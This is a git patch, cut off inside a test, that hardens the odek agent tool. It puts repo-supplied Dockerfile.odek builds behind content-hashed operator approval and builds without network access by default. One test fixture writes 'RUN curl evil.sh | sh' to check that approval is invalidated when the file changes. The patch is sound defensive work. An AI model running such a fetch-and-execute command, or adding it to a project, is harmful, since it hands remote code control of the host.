From d5819832b726ccbb93f904ec704eab1b04aa5ccf Mon Sep 17 00:00:00 2001 From: Rolando Santamaria Maso Date: Sun, 26 Jul 2026 10:39:34 +0200 Subject: [PATCH 1/2] fix(sandbox): gate implicit Dockerfile.odek builds behind operator approval A Dockerfile.odek in the working directory was built automatically with no approval gate, while the analogous sandbox_image/sandbox_env project-config knobs correctly require explicit operator approval. docker build executes the repo-controlled Dockerfile's RUN instructions outside the sandbox threat model (default capabilities, entire working directory readable as build context), so merely running odek inside a malicious repository - including odek serve, which sandboxes by default - granted host-adjacent code execution and workspace exfiltration. Changes: - approveProjectSandbox now also requires approval for an implicit Dockerfile.odek build (sandbox active, no explicit image, file present). The approval is keyed on the Dockerfile content hash, so editing the file invalidates a prior "trust this project" approval. The prompt warns that building runs repo-controlled code with the whole working directory as build context. - setupSandbox enforces the approval non-interactively at build time (env bypass, persisted trust, or in-process session approval), closing the gap where a Dockerfile appears or changes after startup - e.g. a serve-mode sandbox created per WebSocket connection, or a session continuation that re-enables the sandbox. - continueCmd now calls approveProjectSandbox like every other command; previously odek continue applied project sandbox overrides without any approval at all. - docker build runs with --network=none by default so RUN steps cannot fetch attacker payloads or exfiltrate build-context data over the network; ODEK_SANDBOX_BUILD_NETWORK=1 (operator-only) opts back in for legitimate networked builds such as RUN apk add. Regression tests cover the requirement detection, non-TTY fail-closed behavior, env bypass, once-vs-trust semantics, content-change invalidation at both gates, build-time enforcement, and the --network=none default. Docs updated: SANDBOXING.md, SECURITY.md (new section 18b), CONFIG.md, AGENTS.md. --- AGENTS.md | 1 + cmd/odek/main.go | 17 ++ cmd/odek/project_sandbox_approval.go | 194 ++++++++++++++++++---- cmd/odek/project_sandbox_approval_test.go | 152 +++++++++++++++++ docs/CONFIG.md | 8 +- docs/SANDBOXING.md | 11 +- docs/SECURITY.md | 9 + internal/sandbox/sandbox.go | 27 ++- internal/sandbox/sandbox_test.go | 24 +++ 9 files changed, 408 insertions(+), 35 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 1b90004..1c9d461 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -159,6 +159,7 @@ Layered prompt-injection / approval-fatigue defenses. Full reference: [docs/SECU - **REPL history file permissions** (`cmd/odek/repl_editor.go`) — `~/.odek/repl_history` is now created/hardened with `0600` permissions (and any existing world-readable file is `chmod`d on the next persist), preventing local users from reading pasted API keys, tokens, and URLs from the REPL history. - **Serve sandbox default-on** — `odek serve` enables `--sandbox` automatically unless `--no-sandbox` is passed. Project-requested sandbox overrides from `./odek.json` still require explicit approval via the project sandbox gate. - **Project-level sandbox approval** (`cmd/odek/project_sandbox_approval.go`) — `./odek.json` can set `sandbox_env`, `sandbox_image`, `sandbox_network`, and `sandbox_volumes`, but these knobs are not applied until the operator explicitly approves them (`y` = once, `t` = trust this project), or `ODEK_APPROVE_PROJECT_SANDBOX=1` is set for CI/non-interactive use. Persisted approvals live in `~/.odek/project_sandbox_approvals.json` (0600). This closes the C-1 vector where a malicious repo could exfiltrate host secrets via `${VAR}` interpolation in `sandbox_env`, pull an attacker-controlled image, or widen the container's network access. +- **Implicit Dockerfile.odek build approval** (`cmd/odek/project_sandbox_approval.go` + `internal/sandbox/sandbox.go`) — a `Dockerfile.odek` in the working directory is gated behind the same approval mechanism as project sandbox overrides, because `docker build` runs its repo-controlled `RUN` instructions outside the sandbox threat model with the entire working directory as build context. The approval key includes the Dockerfile content hash (edits force re-approval), `setupSandbox` re-verifies approval non-interactively at build time (closing post-startup introduction/modification, e.g. serve-mode per-connection containers), and builds run with `--network=none` by default (`ODEK_SANDBOX_BUILD_NETWORK=1` opts back in). - **Sandbox volume confinement** (`internal/sandbox/sandbox.go`) — extra `--sandbox-volume` host paths must resolve to a location under the working directory, cannot contain `..` or symlink escapes, and cannot match sensitive prefixes such as `/etc`, `/proc`, `/sys`, `/dev`, `/root`, `/home`, `/var`, `/run`, or `/var/run/docker.sock`. - **Sandbox read-only enforcement** (`cmd/odek/sandbox_file.go` + `cmd/odek/file_tool.go` + `cmd/odek/perf_tools.go`) — when a sandbox container is active, `write_file`, `patch`, and `batch_patch` translate host paths to `/workspace/...` and copy data into the container with `docker cp`, so a read-only workspace mount (`--sandbox-readonly`) is enforced for the agent's own file tools. - **Project config sensitive-field rejection** (`internal/config/loader.go`) — `./odek.json` is untrusted, so `base_url`, `api_key`, `system`, the `dangerous` section, `embedding`, `memory`, `sessions`, `skills.dirs`/`skills.embedding`, `telegram`, and `web_search` set there are ignored (with stderr warnings). Project-level sandbox knobs (`sandbox_env`, `sandbox_image`, `sandbox_network`, `sandbox_volumes`) are not silently ignored either; they are gated by the project-level sandbox approval flow before application. These can only be configured from operator-controlled sources: `~/.odek/config.json`, `ODEK_*` env vars, or CLI flags. diff --git a/cmd/odek/main.go b/cmd/odek/main.go index b9339ac..8df1bb6 100644 --- a/cmd/odek/main.go +++ b/cmd/odek/main.go @@ -1597,6 +1597,16 @@ func deliverToTelegram(text string, resolved config.ResolvedConfig) error { // The returned cleanup function destroys the container; always invoke it // via Agent.Close(). func setupSandbox(tools []odek.Tool, cfg sandboxConfig) (containerName string, cleanup func() error, err error) { + // An implicit Dockerfile.odek build executes repo-controlled code on the + // host; refuse to proceed unless it was approved (startup prompt, trusted + // project, or ODEK_APPROVE_PROJECT_SANDBOX=1). Skipped when an explicit + // image is configured because ResolveImage ignores the Dockerfile then. + if cfg.Image == "" { + if err := requireDockerfileBuildApproval(); err != nil { + return "", nil, err + } + } + image, err := sandbox.ResolveImage(cfg) if err != nil { return "", nil, err @@ -2305,6 +2315,13 @@ func continueCmd(args []string) error { fmt.Fprintf(os.Stderr, "odek: session was sandboxed — enabling sandbox for this continuation\n") } + // Gate project-level sandbox knobs and any implicit Dockerfile.odek build + // on explicit operator approval, same as `odek run` — a continued session + // must not bypass the approval flow. + if err := approveProjectSandbox(resolved, os.Stdin, os.Stdout); err != nil { + return err + } + // Build tools var sm *skills.SkillManager if resolved.Skills.Learn { diff --git a/cmd/odek/project_sandbox_approval.go b/cmd/odek/project_sandbox_approval.go index 71bef59..6a18849 100644 --- a/cmd/odek/project_sandbox_approval.go +++ b/cmd/odek/project_sandbox_approval.go @@ -10,8 +10,10 @@ import ( "os" "path/filepath" "strings" + "sync" "github.com/BackendStack21/odek/internal/config" + "github.com/BackendStack21/odek/internal/sandbox" "golang.org/x/term" ) @@ -21,16 +23,26 @@ import ( const projectSandboxApprovalsFile = "project_sandbox_approvals.json" // approveProjectSandbox requires explicit operator approval before any -// project-level ./odek.json sandbox knobs are applied. This closes the C-1 -// vector where a malicious repo exfiltrates host secrets via ${VAR} -// interpolation in sandbox_env, pulls an attacker-controlled image, or widens -// the container's network access. +// project-controlled sandbox inputs are applied. This covers two surfaces: +// +// 1. Project-level ./odek.json sandbox knobs (sandbox_env, sandbox_image, +// sandbox_network, sandbox_volumes) — the C-1 vector where a malicious +// repo exfiltrates host secrets via ${VAR} interpolation in sandbox_env, +// pulls an attacker-controlled image, or widens the container's network +// access. +// 2. An implicit Dockerfile.odek build — docker build executes the +// repo-controlled Dockerfile's RUN instructions outside the sandbox +// threat model (default capabilities, full read access to the entire +// working directory as build context), so merely running odek inside a +// malicious repository would otherwise grant host-adjacent code +// execution. The approval is keyed on the Dockerfile content hash, so +// changing the file invalidates a prior approval. // // Approval can be granted in three ways: -// 1. Set ODEK_APPROVE_PROJECT_SANDBOX=1 (useful for CI/non-interactive use). -// 2. Answer the interactive prompt when running on a TTY. -// 3. A prior approval for the same project/sandbox fingerprint is persisted -// in ~/.odek/project_sandbox_approvals.json. +// 1. Set ODEK_APPROVE_PROJECT_SANDBOX=1 (useful for CI/non-interactive use). +// 2. Answer the interactive prompt when running on a TTY. +// 3. A prior approval for the same project/sandbox fingerprint is persisted +// in ~/.odek/project_sandbox_approvals.json. // // If approval is required and cannot be obtained, approveProjectSandbox // returns an error and the command should abort before creating the sandbox. @@ -42,7 +54,9 @@ func approveProjectSandbox(resolved config.ResolvedConfig, stdin io.Reader, stdo // approveProjectSandboxWithTTY is the testable core of approveProjectSandbox. func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reader, stdout io.Writer, tty bool) error { o := resolved.ProjectSandboxOverride - if !o.HasEnv && !o.HasImage && !o.HasNetwork && !o.HasVolumes { + hasOverride := o.HasEnv || o.HasImage || o.HasNetwork || o.HasVolumes + dfHash, dfRequired := dockerfileBuildRequirement(resolved) + if !hasOverride && !dfRequired { return nil } @@ -64,42 +78,61 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade return fmt.Errorf("project sandbox approval: load approvals: %w", err) } - key := projectSandboxApprovalKey(projectDir, o) - if approved[key] { + overrideKey := projectSandboxApprovalKey(projectDir, o) + dfKey := dockerfileApprovalKey(projectDir, dfHash) + overrideOK := !hasOverride || approved[overrideKey] + dfOK := !dfRequired || approved[dfKey] || sessionDockerfileApproved(dfKey) + if overrideOK && dfOK { return nil } if !tty { + what := fmt.Sprintf("project-level sandbox config in %s", config.ProjectConfigPath()) + switch { + case !hasOverride: + what = fmt.Sprintf("%s in the working directory (implicit docker build)", sandbox.DockerfileName) + case dfRequired: + what += fmt.Sprintf(" and %s (implicit docker build)", sandbox.DockerfileName) + } return fmt.Errorf( - "project-level sandbox config in %s requires explicit approval\n"+ + "%s requires explicit approval\n"+ "set ODEK_APPROVE_PROJECT_SANDBOX=1 to approve, or run interactively", - config.ProjectConfigPath(), + what, ) } reader := bufio.NewReader(stdin) fmt.Fprintln(stdout) - fmt.Fprintf(stdout, "WARNING: project config (%s) requests sandbox overrides:\n", config.ProjectConfigPath()) - if o.HasImage { - fmt.Fprintf(stdout, " image: %s\n", o.Image) - } - if o.HasNetwork { - fmt.Fprintf(stdout, " network: %s\n", o.Network) - } - if o.HasEnv { - fmt.Fprintf(stdout, " env: %s\n", strings.Join(o.EnvKeys, ", ")) - if o.EnvHasInterpolation { - fmt.Fprintln(stdout, " ⚠️ sandbox_env values contain ${...} interpolation against host environment variables") + if hasOverride { + fmt.Fprintf(stdout, "WARNING: project config (%s) requests sandbox overrides:\n", config.ProjectConfigPath()) + if o.HasImage { + fmt.Fprintf(stdout, " image: %s\n", o.Image) + } + if o.HasNetwork { + fmt.Fprintf(stdout, " network: %s\n", o.Network) + } + if o.HasEnv { + fmt.Fprintf(stdout, " env: %s\n", strings.Join(o.EnvKeys, ", ")) + if o.EnvHasInterpolation { + fmt.Fprintln(stdout, " ⚠️ sandbox_env values contain ${...} interpolation against host environment variables") + } } + if o.HasVolumes { + fmt.Fprintf(stdout, " volumes: %s\n", strings.Join(o.Volumes, ", ")) + } + fmt.Fprintln(stdout) + fmt.Fprintln(stdout, "Allowing this means code in the sandbox can read workspace files and,") + fmt.Fprintln(stdout, "depending on network mode, contact external hosts.") } - if o.HasVolumes { - fmt.Fprintf(stdout, " volumes: %s\n", strings.Join(o.Volumes, ", ")) + if dfRequired { + fmt.Fprintf(stdout, "WARNING: %s found in the working directory — odek will build a sandbox image from it.\n", sandbox.DockerfileName) + fmt.Fprintln(stdout, " docker build executes the Dockerfile's RUN instructions as repo-controlled code") + fmt.Fprintln(stdout, " on this host, with the ENTIRE working directory readable as build context.") + fmt.Fprintln(stdout, " (Build network is disabled by default; set ODEK_SANDBOX_BUILD_NETWORK=1 to") + fmt.Fprintln(stdout, " allow networked builds such as `RUN apk add …`.)") } fmt.Fprintln(stdout) - fmt.Fprintln(stdout, "Allowing this means code in the sandbox can read workspace files and,") - fmt.Fprintln(stdout, "depending on network mode, contact external hosts.") - fmt.Fprintln(stdout) fmt.Fprint(stdout, "Approve? [y = once / t = trust this project / N] ") line, err := reader.ReadString('\n') @@ -110,9 +143,18 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade switch line { case "y", "yes": + if dfRequired { + recordSessionDockerfileApproval(dfKey) + } return nil case "t", "trust": - approved[key] = true + if hasOverride { + approved[overrideKey] = true + } + if dfRequired { + approved[dfKey] = true + recordSessionDockerfileApproval(dfKey) + } if err := saveProjectSandboxApprovals(approved); err != nil { return fmt.Errorf("project sandbox approval: save approvals: %w", err) } @@ -122,6 +164,88 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade } } +// dockerfileBuildRequirement reports whether the resolved config will trigger +// an implicit Dockerfile.odek build: sandbox is active, no explicit image is +// configured (an explicit image makes ResolveImage ignore the Dockerfile), +// and Dockerfile.odek exists in the working directory. The returned hash is +// the SHA-256 of the file content, used to key approvals so that changing +// the Dockerfile invalidates a prior approval. +func dockerfileBuildRequirement(resolved config.ResolvedConfig) (hash string, required bool) { + if !resolved.Sandbox || resolved.SandboxImage != "" { + return "", false + } + data, err := os.ReadFile(sandbox.DockerfileName) + if err != nil { + return "", false + } + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]), true +} + +// requireDockerfileBuildApproval enforces the Dockerfile.odek build gate at +// the point of container creation. It is intentionally non-interactive: +// approval must already have been granted — interactively at startup +// (recorded as a session approval), persisted via "trust this project", or +// given via ODEK_APPROVE_PROJECT_SANDBOX=1. Enforcing here (in addition to +// the startup prompt) closes the gap where a Dockerfile appears or changes +// AFTER startup — e.g. a serve-mode sandbox created per WebSocket +// connection, or a resumed session that flips sandbox on — would otherwise +// build unapproved repo-controlled code. +func requireDockerfileBuildApproval() error { + data, err := os.ReadFile(sandbox.DockerfileName) + if err != nil { + return nil // no Dockerfile → ResolveImage falls back to alpine:latest + } + if os.Getenv("ODEK_APPROVE_PROJECT_SANDBOX") == "1" { + return nil + } + + projectDir, err := os.Getwd() + if err != nil { + return fmt.Errorf("dockerfile build approval: get working directory: %w", err) + } + projectDir, err = filepath.Abs(projectDir) + if err != nil { + return fmt.Errorf("dockerfile build approval: abs working directory: %w", err) + } + + sum := sha256.Sum256(data) + key := dockerfileApprovalKey(projectDir, hex.EncodeToString(sum[:])) + if sessionDockerfileApproved(key) { + return nil + } + if approved, err := loadProjectSandboxApprovals(); err == nil && approved[key] { + return nil + } + return fmt.Errorf( + "%s requires explicit approval before odek builds it — docker build executes\n"+ + "repo-controlled RUN instructions with the entire working directory as build context.\n"+ + "Approve interactively at startup, or set ODEK_APPROVE_PROJECT_SANDBOX=1", + sandbox.DockerfileName, + ) +} + +// sessionDockerfileApprovals records Dockerfile content approvals granted +// interactively in this process ("y" = once), so the build-time enforcement +// in setupSandbox can honour an approval that was given seconds earlier +// without persisting it. Keyed the same as the persisted store. +var ( + sessionDockerfileApprovalsMu sync.Mutex + sessionDockerfileApprovals = map[string]bool{} +) + +func recordSessionDockerfileApproval(key string) { + sessionDockerfileApprovalsMu.Lock() + defer sessionDockerfileApprovalsMu.Unlock() + sessionDockerfileApprovals[key] = true +} + +func sessionDockerfileApproved(key string) bool { + sessionDockerfileApprovalsMu.Lock() + defer sessionDockerfileApprovalsMu.Unlock() + return sessionDockerfileApprovals[key] +} + // projectSandboxApprovalKey returns a stable key for the persisted approval // store. A change to the project directory, image, network, env keys, or // volumes invalidates the prior approval. @@ -137,6 +261,16 @@ func projectSandboxApprovalKey(projectDir string, o config.ProjectSandboxOverrid return hex.EncodeToString(h.Sum(nil)) } +// dockerfileApprovalKey returns the persisted-approval key for an implicit +// Dockerfile.odek build. It is keyed on the project directory and the +// Dockerfile content hash, so editing the Dockerfile invalidates the prior +// approval and forces re-review. +func dockerfileApprovalKey(projectDir, contentHash string) string { + h := sha256.New() + fmt.Fprintf(h, "dockerfile\x00%s\x00%s", projectDir, contentHash) + return hex.EncodeToString(h.Sum(nil)) +} + // loadProjectSandboxApprovals reads the persisted approval map. A missing file // is treated as an empty approval set. func loadProjectSandboxApprovals() (map[string]bool, error) { diff --git a/cmd/odek/project_sandbox_approval_test.go b/cmd/odek/project_sandbox_approval_test.go index 038677d..ff6e8aa 100644 --- a/cmd/odek/project_sandbox_approval_test.go +++ b/cmd/odek/project_sandbox_approval_test.go @@ -151,3 +151,155 @@ func TestApproveProjectSandbox_PromptHidesValues(t *testing.T) { t.Errorf("prompt = %q, want interpolation warning", prompt) } } + +// ── Dockerfile.odek implicit-build gate ──────────────────────────────── + +func setupDockerfileProject(t *testing.T, content string) { + t.Helper() + dir := t.TempDir() + if content != "" { + if err := os.WriteFile(filepath.Join(dir, "Dockerfile.odek"), []byte(content), 0644); err != nil { + t.Fatal(err) + } + } + cwd, _ := os.Getwd() + if err := os.Chdir(dir); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chdir(cwd) }) +} + +func resetSessionDockerfileApprovals(t *testing.T) { + t.Helper() + sessionDockerfileApprovalsMu.Lock() + sessionDockerfileApprovals = map[string]bool{} + sessionDockerfileApprovalsMu.Unlock() +} + +func TestApproveProjectSandbox_DockerfileNotRequired(t *testing.T) { + setupDockerfileProject(t, "FROM scratch\n") + cases := []struct { + name string + resolved config.ResolvedConfig + }{ + {"sandbox disabled", config.ResolvedConfig{Sandbox: false}}, + {"explicit image wins", config.ResolvedConfig{Sandbox: true, SandboxImage: "node:20-alpine"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if err := approveProjectSandboxWithTTY(tc.resolved, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected no approval needed, got: %v", err) + } + }) + } + + // Missing Dockerfile.odek → no requirement even with sandbox on. + setupDockerfileProject(t, "") + if err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected no approval needed without Dockerfile.odek, got: %v", err) + } +} + +func TestApproveProjectSandbox_DockerfileNonTTYRequiresApproval(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false) + if err == nil { + t.Fatal("expected error for unapproved implicit Dockerfile.odek build") + } + if !strings.Contains(err.Error(), "ODEK_APPROVE_PROJECT_SANDBOX") { + t.Errorf("error = %q, want ODEK_APPROVE_PROJECT_SANDBOX hint", err.Error()) + } + if !strings.Contains(err.Error(), "Dockerfile.odek") { + t.Errorf("error = %q, want Dockerfile.odek mention", err.Error()) + } + + // Build-time enforcement fails closed too. + if buildErr := requireDockerfileBuildApproval(); buildErr == nil { + t.Fatal("requireDockerfileBuildApproval: expected error for unapproved Dockerfile.odek") + } +} + +func TestApproveProjectSandbox_DockerfileEnvBypass(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + t.Setenv("ODEK_APPROVE_PROJECT_SANDBOX", "1") + + if err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected env approval, got: %v", err) + } + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("build-time enforcement should honour env bypass, got: %v", err) + } +} + +func TestApproveProjectSandbox_DockerfileTTYApproveOnce(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + resetSessionDockerfileApprovals(t) + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + var out bytes.Buffer + err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader("y\n"), &out, true) + if err != nil { + t.Fatalf("expected approval, got: %v", err) + } + if !strings.Contains(out.String(), "repo-controlled") { + t.Errorf("prompt = %q, want repo-controlled code warning", out.String()) + } + if !strings.Contains(out.String(), "--network") && !strings.Contains(out.String(), "Build network is disabled") { + t.Errorf("prompt = %q, want build-network note", out.String()) + } + + // A once-approval covers the build in this process (session approval)… + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("build should be covered by session approval, got: %v", err) + } + // …but is not persisted: a fresh session state fails closed again. + resetSessionDockerfileApprovals(t) + if err := requireDockerfileBuildApproval(); err == nil { + t.Fatal("once-approval must not persist across sessions") + } +} + +func TestApproveProjectSandbox_DockerfileTrustAndContentInvalidation(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + resetSessionDockerfileApprovals(t) + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + resolved := config.ResolvedConfig{Sandbox: true} + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader("t\n"), &bytes.Buffer{}, true); err != nil { + t.Fatalf("expected trust approval, got: %v", err) + } + + // Persisted trust covers the build without any session state. + resetSessionDockerfileApprovals(t) + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("persisted trust should cover build, got: %v", err) + } + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("persisted trust should cover startup check, got: %v", err) + } + + // Editing Dockerfile.odek invalidates the approval: both gates fail closed. + if err := os.WriteFile("Dockerfile.odek", []byte("FROM scratch\nRUN curl evil.sh | sh\n"), 0644); err != nil { + t.Fatal(err) + } + if err := requireDockerfileBuildApproval(); err == nil { + t.Fatal("content change must invalidate the persisted approval (build gate)") + } + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader(""), &bytes.Buffer{}, false); err == nil { + t.Fatal("content change must invalidate the persisted approval (startup gate)") + } +} + +func TestRequireDockerfileBuildApproval_NoDockerfile(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "") // empty dir + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("no Dockerfile.odek → no gate, got: %v", err) + } +} diff --git a/docs/CONFIG.md b/docs/CONFIG.md index 35a0061..29b9061 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -126,7 +126,8 @@ Every config knob has a `ODEK_*` counterpart: | `ODEK_SANDBOX_MEMORY` | `--sandbox-memory` | string | | `ODEK_SANDBOX_CPUS` | `--sandbox-cpus` | string | | `ODEK_SANDBOX_USER` | `--sandbox-user` | string | -| `ODEK_APPROVE_PROJECT_SANDBOX` | — | bool | approve project-level `./odek.json` sandbox config without prompting | +| `ODEK_APPROVE_PROJECT_SANDBOX` | — | bool | approve project-level `./odek.json` sandbox config and implicit `Dockerfile.odek` builds without prompting | +| `ODEK_SANDBOX_BUILD_NETWORK` | — | bool | allow networked `Dockerfile.odek` builds (default: builds run with `--network=none`) | | `ODEK_MAX_CONCURRENCY` | `max_concurrency` | int | | `ODEK_MAX_TOOL_PARALLEL` | `max_tool_parallel` | int | | `ODEK_TRUSTED_PROXIES` | `trusted_proxies` | string (comma-separated IPs/CIDRs) | @@ -914,6 +915,11 @@ odek run "quick status" echo '{"sandbox": true, "sandbox_env": {"X": "${HOME}"}}' > ./odek.json ODEK_APPROVE_PROJECT_SANDBOX=1 odek run "run untrusted script" +# An implicit Dockerfile.odek build is gated the same way (docker build runs +# repo-controlled RUN steps with the whole working directory as context). +# Builds use --network=none unless you opt in: +ODEK_SANDBOX_BUILD_NETWORK=1 odek run --sandbox "build the project" + # Env var override for one-off ODEK_SANDBOX=true odek run "run untrusted script" diff --git a/docs/SANDBOXING.md b/docs/SANDBOXING.md index 244512c..2c930cc 100644 --- a/docs/SANDBOXING.md +++ b/docs/SANDBOXING.md @@ -169,11 +169,18 @@ odek run --sandbox --sandbox-image nvidia/cuda:12.2-runtime "nvidia-smi" Place a `Dockerfile.odek` in your working directory for **project-specific, pre-baked tooling**. odek auto-detects it and builds an image with a content-hash tag. +> **⚠️ Security: building runs repo-controlled code on your host.** +> `docker build` executes the Dockerfile's `RUN` instructions *outside* the sandbox threat model — with default capabilities and the **entire working directory readable as build context**. A malicious repository could use this for host-adjacent code execution or to copy workspace files into the image. For this reason: +> +> - The implicit build requires **explicit operator approval**, exactly like project-level sandbox overrides: an interactive prompt at startup (`y` = once, `t` = trust this project), a persisted approval in `~/.odek/project_sandbox_approvals.json`, or `ODEK_APPROVE_PROJECT_SANDBOX=1` for CI. The approval is keyed on the Dockerfile's content hash — editing the file forces re-approval. +> - The build runs with **`--network=none` by default**, so `RUN` steps cannot fetch remote payloads or exfiltrate build-context data over the network. If your Dockerfile legitimately needs network (e.g. `RUN apk add …`), opt in with `ODEK_SANDBOX_BUILD_NETWORK=1` (operator-only; a project cannot set it). +> - Builds that would start *after* startup (e.g. a new WebUI connection, or a resumed sandboxed session) re-verify the approval and fail closed if the Dockerfile appeared or changed in the meantime. + ```dockerfile # Dockerfile.odek FROM node:20-alpine -# Pre-install project dependencies +# Pre-install project dependencies (requires ODEK_SANDBOX_BUILD_NETWORK=1) RUN apk add --no-cache git openssh RUN npm install -g typescript tsx prettier @@ -184,7 +191,7 @@ WORKDIR /workspace Build behavior: - odek check for `Dockerfile.odek` in the working directory -- If found and no explicit `sandbox_image` is configured, odek builds it +- If found and no explicit `sandbox_image` is configured, odek builds it — after the approval gate above - The image is tagged as `odek-sandbox:` based on file content hash - **Cached:** the image is only rebuilt when `Dockerfile.odek` changes - First build takes ~5–30s depending on the image; subsequent runs are instant diff --git a/docs/SECURITY.md b/docs/SECURITY.md index 0c79ff2..e6b8ab9 100644 --- a/docs/SECURITY.md +++ b/docs/SECURITY.md @@ -382,6 +382,15 @@ These fields can only be set from operator-controlled sources: `~/.odek/config.j This gates project-level sandbox overrides behind explicit operator approval, including a warning when `sandbox_env` values contain `${...}` host-environment interpolation, so a malicious repo cannot silently exfiltrate host secrets, pull an attacker-controlled image, or widen the container's network access. If the operator approves, the config is applied normally; if they deny or run non-interactively without the bypass, the overrides fail closed. +### 18b. Implicit `Dockerfile.odek` build approval + +A `Dockerfile.odek` in the working directory is repo-controlled, and `docker build` executes its `RUN` instructions **outside the sandbox threat model**: default capabilities, and the entire working directory readable as build context. Without a gate, merely running odek inside a malicious repository (e.g. `odek serve`, which sandboxes by default) would grant host-adjacent code execution and workspace exfiltration. The implicit build is therefore gated behind the same approval mechanism as project sandbox overrides: + +- Interactive TTY prompt at startup (`y` = once, `t` = trust this project), persisted approvals in `~/.odek/project_sandbox_approvals.json`, or `ODEK_APPROVE_PROJECT_SANDBOX=1` for CI. Non-TTY runs without approval fail closed. +- The approval key includes the **Dockerfile content hash**, so editing `Dockerfile.odek` invalidates a prior "trust" approval and forces re-review. +- **Build-time enforcement:** `setupSandbox` re-verifies approval (env bypass, persisted trust, or a once-approval recorded in-process) immediately before building. This closes the gap where a Dockerfile appears or changes *after* startup — e.g. a serve-mode sandbox created per WebSocket connection, or a resumed session that re-enables the sandbox. +- The build runs with **`--network=none` by default**, so `RUN` steps cannot fetch attacker payloads or exfiltrate build-context data over the network. `ODEK_SANDBOX_BUILD_NETWORK=1` (operator-only) opts back into networked builds for legitimate package installs. + ### SSRF guard and configured-backend allowlist The `browser`, `http_batch`, and `web_search` tools use a shared SSRF / DNS-rebinding dial guard (`cmd/odek/ssrf_guard.go`). After the policy gate classifies a hostname as `network_egress`, the guard resolves the name itself and refuses any answer that points at a loopback, RFC1918, RFC4193, link-local, or metadata IP. It then pins the dial to the validated IP so the kernel cannot re-resolve to a different address. diff --git a/internal/sandbox/sandbox.go b/internal/sandbox/sandbox.go index d9b4796..c839634 100644 --- a/internal/sandbox/sandbox.go +++ b/internal/sandbox/sandbox.go @@ -54,7 +54,10 @@ type Config struct { // ResolveImage determines the Docker image for a sandbox container. // Resolution order: // 1. cfg.Image is explicit → return it unchanged. -// 2. Dockerfile.odek exists in CWD → build (or reuse cached) image. +// 2. Dockerfile.odek exists in CWD → build (or reuse cached) image. The +// caller is responsible for gating this on operator approval (see +// cmd/odek/project_sandbox_approval.go) — the Dockerfile and its build +// context are repo-controlled. // 3. Otherwise → "alpine:latest". func ResolveImage(cfg Config) (string, error) { if cfg.Image != "" { @@ -71,6 +74,11 @@ func ResolveImage(cfg Config) (string, error) { // changing the Dockerfile produces a new tag, identical content reuses the // existing image instantly. Build output is piped to stderr so the user // sees progress on first build. +// +// Callers must gate this behind operator approval before invoking it (see +// cmd/odek/project_sandbox_approval.go): Dockerfile.odek is repo-controlled, +// and docker build executes its RUN instructions outside the sandbox threat +// model with the entire working directory as build context. func buildFromDockerfile() (string, error) { data, err := os.ReadFile(DockerfileName) if err != nil { @@ -81,7 +89,7 @@ func buildFromDockerfile() (string, error) { if _, err := exec.Command("docker", "image", "inspect", tag).CombinedOutput(); err != nil { fmt.Fprintf(os.Stderr, "odek: building sandbox image from %s...\n", DockerfileName) - build := exec.Command("docker", "build", "-t", tag, "-f", DockerfileName, ".") + build := exec.Command("docker", dockerBuildArgs(tag)...) build.Stderr = os.Stderr build.Stdout = os.Stderr if err := build.Run(); err != nil { @@ -92,6 +100,21 @@ func buildFromDockerfile() (string, error) { return tag, nil } +// dockerBuildArgs returns the "docker build" argument slice for the given +// tag. The build runs with --network=none by default: a repo-controlled +// Dockerfile.odek must not be able to exfiltrate build-context data (the +// entire working directory) or fetch attacker payloads during RUN steps. +// Operators who need networked builds (e.g. `RUN apk add …`) can opt in +// with ODEK_SANDBOX_BUILD_NETWORK=1 — an operator-only setting, since a +// project cannot set environment variables for the odek process. +func dockerBuildArgs(tag string) []string { + args := []string{"build"} + if os.Getenv("ODEK_SANDBOX_BUILD_NETWORK") != "1" { + args = append(args, "--network=none") + } + return append(args, "-t", tag, "-f", DockerfileName, ".") +} + // BuildRunArgs returns the "docker run" argument slice for the given // config — it does not execute Docker. Caller is expected to pass the // already-resolved image (ResolveImage) so the same argument list can be diff --git a/internal/sandbox/sandbox_test.go b/internal/sandbox/sandbox_test.go index fadd99f..de8653e 100644 --- a/internal/sandbox/sandbox_test.go +++ b/internal/sandbox/sandbox_test.go @@ -367,3 +367,27 @@ func contains(haystack []string, needle string) bool { } return false } + +// ── dockerBuildArgs ──────────────────────────────────────────────────── + +func TestDockerBuildArgs_NetworkNoneByDefault(t *testing.T) { + 